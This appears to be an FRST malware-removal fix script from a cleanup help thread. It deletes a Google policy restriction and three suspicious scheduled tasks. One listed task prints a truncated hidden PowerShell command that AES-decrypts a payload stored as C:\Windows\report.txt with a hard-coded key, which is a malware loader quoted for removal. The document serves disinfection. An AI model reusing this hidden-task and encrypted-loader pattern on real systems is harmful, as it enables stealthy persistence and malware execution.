start::
systemrestore: on
closeprocesses:
createrestorepoint:
HKU\S-1-5-21-2199118309-2510954322-2986530538-1001\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
Task: {98EC4476-93B9-4F44-8259-AB12489AF4E8} - System32\Tasks\Microsoft\Windows\PI\SecureBootEncodeUEFI => %WINDIR%\system32\SecureBootEncodeUEFI.exe (Pas de fichier)
Task: {A00E9E35-6B3F-44E0-8545-AD24E818BE04} - System32\Tasks\Microsoft\Windows\Storage Tiers Management\Storage Tiers Management InitializationRtz => C:\Windows\system32\WindowsPowerShell\v1.0\Powershell.exe [454656 2025-03-28] (Microsoft Windows -> Microsoft Corporation) -> -NoLogo -NonInteractive -WindowStyle Hidden -NoProfile -Command "$e=Get-Content -Path 'C:\Windows\report.txt' -Raw -Encoding Byte;$a=[System.Security.Cryptography.Aes]::Create();$a.Key=@(105,201,149,232,136,123,85,176,56,19,130,220,82,40,93,120,9,196,76,239,53,91,88,114,222,161,149,67,67,243,7,175); (l'élément de données a 208 caractères en plus). <==== ATTENTION
Task: {F3E6E7ED-A196-4E44-8803-55FAB3AD4E29} - System32\Tasks\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker => %systemroot%\system32\MusNotification.exe (Pas de fichier)
emptytemp:
end::